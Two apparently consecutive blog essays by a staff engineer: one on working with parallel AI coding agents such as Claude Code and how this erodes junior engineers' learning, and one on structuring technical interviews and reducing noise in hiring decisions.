
I’ve been a proponent of Claude Code since it launched. If I’m being honest, I was somewhat skeptical of truly agentic coding early on. Not of AI’s potential, but of its practical efficacy as an agent rather than a copilot. Claude Code changed my mind. It convinced me there was genuine merit to the approach, and since Claude Opus 4.5 shipped, I’ve been offloading progressively more of my development work to agents.

What my day looks like now is genuinely different than it did two years ago. As a staff engineer, a substantial portion of my time is spent overseeing and context-switching between multiple Claude agents running in parallel, sometimes across multiple worktrees if we’re working on different areas of the same application, or across entirely different projects. I remember saying to former colleagues back in 2023: “At some point, people’s jobs are going to shift from doing the work themselves to managing a series of agentic runs.” At the time, I was thinking primarily about clerical and specialty roles. Claims handling at the insurance company I was working for, for example, where you’d want human oversight but AI could dramatically scale what a single person could supervise. It turns out that reality arrived first in software development, and faster than I expected.

Am I Actually More Productive?

There’s a popular take floating around that AI only makes you feel more productive without actually delivering the goods. I feel extremely confident my output has materially increased — and maybe that’s part of the delusion. Either way, I think part of what separates my experience from others is how I use these tools.

This is an important aside: I think it is critical for software engineers to maintain an internal context window of what’s happening in a codebase, even if you’re not directly responsible for every single line of code. You have to interact with the agent’s output (reading diffs, consuming the plan, tracking what changed and why) rather than treating it as a black box that just produces PRs. The moment you stop doing that, you lose the ability to catch the subtle problems that only experience can surface.

What Actually Worries Me

What makes me nervous is watching colleagues use these tools without that engagement loop. No meaningful use of plan mode. No iterative refinement of the approach before execution. PRs reviewed only at the end rather than monitoring diffs as they develop. And increasingly, I see engineers whose primary evaluation criteria is: does it work, and can I demo the core feature?

The tell is in commit messages and PR descriptions. When those are thin or clearly AI-generated without meaningful curation, it signals that there wasn’t much translation happening between the agent’s output and the engineer’s understanding. The engineer shipped something they can demonstrate but don’t fully own.

The Intuition Problem

Junior and mid-level engineers (or simply less experienced engineers regardless of title) lack the intuition that makes these tools genuinely powerful in capable hands. As a reasonably seasoned engineer, I can look at an implementation plan Claude produces and spot red flags: an approach that doesn’t account for existing patterns in our codebase, a concurrency issue lurking in a data structure choice, a function boundary that’s going to become a debugging nightmare at 2am. I can see those things quickly because I’ve encountered the consequences before.

Some of that comes from reading: design patterns, architecture books, the collective wisdom of the field. But most of it is hard-won through direct experience:

• I built it, I shipped it, I owned it, it broke. That feedback loop is irreplaceable. Knowing intellectually that certain mutation patterns can create race conditions is different from having owned a production incident caused by one. The latter sticks in a way that no textbook can replicate.
• I’ve had to go to the source. I remember early in my data engineering career trying to scale up pipelines and running into race condition issues I couldn’t explain. I ended up having to read the actual Pandas source code to understand how certain mutation operations on DataFrames worked under the hood, specifically what couldn’t be safely parallelized. Now I can look at higher-level Pandas code and immediately recognize similar patterns. That recognition exists because of one painful debugging session, not because of anything I read.
• Abstractions hide the lesson. Every library we use has layers of abstraction that remove context. Sometimes that’s fine. But the engineers who can reason through those abstractions are the ones who’ve had to dig below them.

The problem is that this knowledge is fundamentally experiential. Yes, you can encode some of it in shared libraries, code review culture, and team norms, but there’s always some abstraction in that encoding that dilutes the lesson. You learn to recognize a race condition by having caused one, not by reading about one.

The Broken Feedback Loop

AI has disrupted the traditional feedback loop that built this intuition in junior developers. Previously, cutting your teeth meant getting assigned something just slightly beyond you, struggling through it, owning the bugs, the on-call pages, the awkward code reviews, and carrying the resulting pattern-recognition into every future decision.

Every 10X engineer had to start as a 1X engineer at some point. Unless you’re Linus Torvalds, there was a period where you were functionally a little bit useless, and companies and mentors gave you the space to accumulate that hard-won knowledge. That was part of the deal, for both sides.

Now, a junior engineer can hand a complex problem to Claude and receive sophisticated, production-looking code they only partially understand. They can ship something that works without going through the struggle that would have built their internal model of why it works, or more critically, when it will break. We’ve replaced the struggle with output, and the struggle was where the learning happened.

The 5-10X Shift and What It Means

I’m bullish on coding agents continuing to improve. And as they do, companies will respond in one of two ways: maintain the same productivity with fewer people, or increase productivity with the same headcount. In either scenario, remaining valuable as a developer means operating as a 5-10X engineer.

This isn’t a prediction that programmers will be fully automated away. But I do think we’ll see a lean-out of the industry. The way I’d put it: what it means to be a 1X engineer today starts to look like the floor of acceptable performance in a few years, and what it means to be a 5X engineer today starts to look like the new 1X baseline as expectations adjust to what these tools make possible.

That creates a steeper and steeper on-ramp for people entering the field. Absent the emergence of some additional credentialing like doctors or traditional engineering that more formally demonstrates capability, you end up with a pipeline that’s progressively harder to break into. That’s a problem worth taking seriously.

What Do We Do About It?

I’m genuinely uncertain about the specific answer here. But I’m increasingly convinced that the primary challenge for senior engineers is no longer pure technical mentorship. It’s teaching intuition and critical thinking.

In the past, mentorship often focused on things like how to operate professionally with Git, code review standards, or systems design fundamentals. Those things still matter, but I think what matters more now is helping junior engineers build their mental models of a codebase, across the stack, and across the organization, in ways that make AI tools genuinely amplifying rather than just capable of producing plausible-looking output. Obviously that’s always been a part of the mentorship of more junior engineers; but our newly agentic world makes that far more critical than its ever been.

The challenge is that intuition is hard to teach through structured lessons. The field of pedagogy has grappled with this in other disciplines (how do experts transfer intuition to novices?) and I think software development is going to have to engage with that question seriously. Especially because the traditional feedback cycle that used to generate that intuition organically has been pretty thoroughly disrupted.

Final Thoughts

I don’t have a crisp solution here, and I’d rather be honest about that than wrap this up with some platitudes that imply I do. What I’m confident about is the problem statement: the more capable AI coding agents become, the more critical it is that the engineers directing them have well-developed intuition, and we have not yet figured out how to develop that intuition without the apprenticeship model that AI is simultaneously disrupting.

That’s the rub. It’s something I intend to keep exploring, and I think it deserves a lot more attention than it’s currently getting in the industry conversation around AI and engineering productivity.

Hiring is inherently an extremely noisy prediction problem. Therefore there are two main things every interview process has to define:

• What are the signals that correlate to future job performance?
• How do I implement noise reduction in my process?

There are many thoughts out there that attempt to answer the former. However, the hiring process (and the signals an organization should look for) are inherently subjective to the organization and how job performance is evaluated. Ultimately, any hiring manager should develop their interview process based on how they would actually evaluate the candidate if hired. Consider how your current employees would do on your interview process, and the correlation of that to how you currently rank their performance. If your best employees (based on your performance assessment) would not also perform the best on your interview process, then you have a problem with one of these things!

Let’s discuss some examples of commonly-used-but-negative signals:

• Github profiles: A large portfolio on Github/Gitlab/etc… can be evidence of one’s coding ability and their overall work. However, this is an incredibly noisy signal. Growth since code was written, lesser standards for personal projects, forks, etc… make it very difficult to evaluate how one will perform as a software professional at this point in time. Github profiles with lots of stars, or repositories that are tied to a project mentioned on their resume (e.g. major OSS contribution) can provide additional insight, but the absence of it does not tank a candidate’s profile. Therefore it is a supporting characteristic at best, but should not be a part of the core evaluation of a candidate.

• Any questions that take more a couple of minutes to answer: As a hiring group or manager, you have an incredibly small amount of time with a candidate to determine their performance. Unless you feel that a long question has been uncovered as “THE” signal for job performance (and if you really have done that, then I’d also like your lottery numbers and stock predictions) then you should avoid long, detailed questions. I’ve been guilty of this myself, as I’ve thought that diving deeper into a single long question would provide better insight on a candidate’s depth of knowledge, but in reality unless I’m hiring a candidate for that one specific thing, I’ve missed my opportunity to test them on how they will perform on everything else. In all likelihood, your signals are not very good on their own, so your best chance at engineering useful features in your interview process is to get samples for as many (good) signals as you can in your 30 or 45-minute interview. To do this, you must ask shorter questions. Every second you as the interviewer are talking is an opportunity cost to gaining better information on your candidate.

• Live coding interviews: This is a big shift for me personally. I previously bought into the idea of the coding interview as a meritocratic evaluation of writing software. I’ve never been convinced it was the optional way, but thought that it was the best method we as an industry had. I’ve been convinced otherwise recently. From my own experience, coding interviews are a skill in and of themselves, and this is evident by the amount of resources out there that teach how to “git gud” at these, e.g. “Cracking the Coding Interview”. This privileges certain candidates (often more junior who are fresh out of CS education) and writing an algorithm or solving a function on-the-fly does not actually point to how well they write understandable, testable, and maintainable code. Returning to the concept that our interview signals should correlate to job performance criteria - how much weight do you put on our existing employee’s ability to write code on a whiteboard or a screen share while others watch? I’ve also been recently introduced to the idea that coding interviews are another ingress point for cultural bias as code can often be opinionated. Are you evaluating how someone writes code? Or are you evaluating how well they write code that looks like ours? I don’t think this is a conscious bias, but nonetheless I’m too conscious of how often I look back on my own code days/weeks/months later and think “Who the heck wrote this and why is it so bad?” to think that how I code should be considered an objective measure.

• Experience with hyper-specific technologies in your stack: Experience is something that can’t be ignored. However, a lot of how this is evaluated is essentially a boolean search of a resume. Recruiters, screeners, and hiring managers are all guilty of this. If you’re looking for someone to build data visualizations, and your organization uses Tableau, are evaluating resumes for data visualization skills/experience or for Tableau expertise? Ultimately, if a candidate has produced beautiful and informative visualizations with Looker, D3.js, or PowerBI, does it matter if they don’t list Tableau on their resume? Unless you are in the slowest-moving organization on planet earth, I guarantee your existing employees have had to learn new things that have some relation to what they already know, and I’d also go out on a limb and say that you are likely scoring employees who can quickly learn and adapt to new technologies positively. I certainly understand the concern around ensuring that a candidate could become productive quickly, and the learning process inserts some friction in to that, but I think situations like the Looker/Tableau example above actually give you an opportunity to mine two signals in one question. Personally, I would ask something like “I see you have great experience with x and y tools. If I asked you to learn z tool, how would you do it?” Ideally, a candidate could discuss their experience in the overall space, and then discuss how they would leverage that experience to become productive with a new tool.

• Previous work at well-known companies: In all honesty, I get excited when I see a resume with FAANG or FAANG-adjacent experience. I’m trying to work on correcting that bias, but its understandable that folks may consider this a generally positive signal based on the reputation of these companies. As anyone who has worked in a larger enterprise can attest to, there can be a massive variance in the technical skills of different teams. This phenomenon occurs even in high-reputation companies like FAANG. This is not to say that there aren’t amazing candidates with experience at those companies, but that the company name itself is not a signal. Not only that, but if we as hiring managers treat it as a signal we are transitively subjecting ourselves to those companies’ own hiring biases and bad signals. At the end of the day, I’d suggest ignoring company names on the resume and focusing on experience and responsibility.

What are some good signals? Well…

• More short questions: As discussed above, question length is an opportunity cost to evaluating the breadth of skills the position requires. As an example, if it takes 20 minutes to do an intricate scenario question about a specific model, you likely won’t have time to ask questions about their SQL knowledge, business acumen, etc… It also allows you to diversify your signals. If Python is primary skill needed in the role, then 2-3 shorter questions that touch on OOP, Performance Tuning, and Testing likely gives you a better signal about their overall Python knowledge than one long question.

• Code Reading: This takes some pre-work to find good examples, but I think giving bits of code (say a couple of related functions or a class) and ask them to read the code, explain what the code is doing, and if they have any design improvements. Compared to live coding questions, code reading often is quicker, which allows for more questions; and more representative of what a technical professional does on a day-to-day basis. Recall Robert C. Martin’s words in Clean Code: “…time spent reading versus writing is well over 10 to 1. We are constantly reading old code as part of the effort to write new code” I’m sure we’ve all heard of the trope of the “10X” engineer. Consider that if we read 10x as much code as we write, then selecting candidates who can quick grasp a codebase actually may be able to be 10X as productive.

• Systems Design Questions: Systems thinking is a skill that bridges all technical disciplines. It’s extremely easy to find someone who can accomplish a technical task in a vacuum. It’s harder to find someone who can accomplish a technical task while considering testability, architecture, scalability and maintainability. Given the same task, the solutions that these two hypothetical engineer/scientists come up with would look wildly different. Asking questions like “You need to move data from an on-premise server to the cloud. New data is produced every hour. How do you build this?” will likely give good insights in how a candidate decomposes a technical problem and their selection process for the tools they choose. These types of questions are intended to be language- and tool-agnostic, which ideally allows one to understand the candidate’s approach rather than their knowledge on any esoteric tooling.

• Experience in a business context: In any business, the point is to turn a profit. Everything you do as a Data Science or Software team is intended to drive either profit generation or expense reduction. Thus, there should be some business context to everything we are doing (if you can’t identify what that is, you need to be reading a very different blog). Likewise, there should be a business context to the work that our candidates have done. More importantly, candidates should be able to communicate the business context of their accomplishments, both on their resume and in their interview questions. Unless you work in an organization with a culture that rewards pure engineering wins, there is likely not a recognition/promotion path for “Optimized an algorithm to reduce run time from 10ms to 5ms”. However, “Optimized an algorithm that allowed us to serve 50% more customer requests” is much more likely to resonate with a company’s leadership. Therefore, I tend to look for candidates who can place their work in a business context as a signal to their understanding of technology beyond technology’s sake.

Noise Reduction

Now that we’re aware of what signals to avoid and which to emphasize, let’s discuss noise reduction in the interview process. We can approach this similarly to feature engineering in modeling. Consider that each n interview produces m signals. We can construct a matrix of m x n to represent the signals from the total interview process. From this we can begin to apply concepts from Independent Component Analysis to interviewing. ICA is a computational method to separating independent signals from mixed information. The linked paper provides the statistical explanation of ICA, but there are some core principles of ICA that we can leverage to improve the interview process.

Inspired by information theory, one of the main approaches for ICA estimation is minimization of mutual information. We use panel interviews, but I observe that often the same signals are uncovered by multiple interviewers. A debrief session on potential candidates results in 3-4 people agreeing on the same opinions of a candidate. If we consider each of our panelist’s interview questions as m in the previously defined matrix, it is necessary to audit the mutual information of each interview question. In the case of our status quo interviews, mutual information is high. Although no information is shared between panelists until the end of the interview process, that lack of information sharing is what creates mutual overlap.

So how do we address the mutual information issue? The solution is two-fold. First is restructuring how the panel interviews occur. I suggest considering each of the panelists as a meta-signal, in that their interviews should focus on a single overall component that you are intending to evaluate. In practice, this means having each of the interviewers focus on a specific topic. Second, a structured interview is a must. Note that this does not imply that there is an objective set of interview topics or questions that work for every role. As described previously, one should audit their performance evaluation and map that to interview topics.

As an example, for my Data Engineering team, I set performance goals that encourage the following:

• Technical Excellence
• Deliver timely, high-quality work.
• Insurance/Business Acumen
• Professional Development
• Potential

Each of these can be difficult to evaluate, but the goal is to define an interview structure that allows for sufficient time to dive into the specific aspects of the role, while also minimizing redundant questions.

For example, consider the current interview process for a Data Engineering Role in my current organization:

• Recruiter Screen (30 minutes)
• Hiring Manager Screen (45 minutes)
• Panelist 1 (30 minutes)
• Panelist 2 (30 minutes)
• Panelist 3 (30 minutes)

This results in spending 2 hours and 45 minutes with a candidate. However, in an unstructured process, each panelist is likely asking 1-2 questions about technical capability, 1-2 questions about how they handle challenging tasks, and perhaps 1-2 questions about interpersonal communication. What this ultimately translates to is functionally the same 30 minute interview 4 different times. All this does is introduce more noise!

So how we do we fix this? Well, let’s establish a framework for structured Data Science/Engineering interviews:

1. Delegate specific responsibilities to your panel and develop a standard set of questions

Rather than the status quo approach outlined above, I suggest a new framework is that will delegate evaluation of specific categories to each member of the panel. This will require you to deeply trust the people who you select for your panels, and it will also require some preparation on both the panelist’s and the hiring manager’s part. For example:

• Recruiter Screen: 1-2 core questions to serve as a filter
• Hiring Manager Screen: Team Fit
• Panelist 1: Technical Skills
• Panelist 2: Business Scenarios
• Panelist 3: Career Potential/Leadership

I would argue this results in a better interview experience for both the candidate and the interviewer. In the current “everyone-interviews-everything” approach, both the interviewer and the candidate are having to context shift every few minutes, and there is often not enough to get in-depth on any particular area when there is so much ground to cover. I’m not going to dive deep on any of the specific questions that should be asked, but that does lead me into the second point of our framework. I should also note that the particular focus areas you choose are subjective to your organization and the role you are hiring for; and the above areas are simply examples.

2. Collect Data on your Questions

Interview questions are an entire discussion in and of themselves. This article has previously outlined some philosophical thoughts on what sort of questions to ask, which can be used as a starting point for a hiring manager to create their own questions. Ultimately, hiring is a game of matching signals to outcomes. How can we “feature engineer” our questions if we don’t keep good data on them? I would suggest each interviewer maintain their own page of questions that focus on their particular area. These questions should be asked consistently to all candidates, and an interviewer should score their responses (at least briefly) in the interview as the questions are being asked to ensure the most robust feedback possible. That being said, A/B testing your interview questions, if done systematically, can help to improve your interview outcomes. This is something companies like Google do quite a bit of. Each interviewer should be able to provide a written record of the questions asked in the interview and how they scored that particular candidate.

3. Use your data to make decisions

Ultimately, the data you collect is useless if you ignore it. I’d suggest evaluating candidates horizontally across a single question area rather than at a high-level. This is intended to help calibrate our expectations but also to help provide some internal consistency, especially if you are placing a higher weight on some questions compared to others. You should also evaluate the aggregated data on a regular basis. Especially if a candidate has been hired, correlate your interview data to their performance after 6 months in the role. This is an opportunity to modify your interview questions, or even change up your panel - it’s good to keep interviews somewhat fresh, but ultimately you should be optimizing toward a correlative maximum. This review should also evaluate your own internal consistency - if one is placing emphasis on certain skills, and yet continually hires candidates who perform weakly on evaluation of those skills, then the hiring manager either needs to recalibrate their process or what they are hiring for.

Final Thoughts

Interviewing is challenging. I know that’s a crazy statement, but even the best of companies struggle to hire effectively. I suggest that treating it as a noisy prediction problem allows one to determine some pathways to reduce the noise in our interview process, and hopefully make it more enjoyable and efficient for the both the interviewer and the candidate. The top candidates will judge your organization on just about everything, including your hiring process, and improving said process is ultimately a way to improve your positioning within the talent market.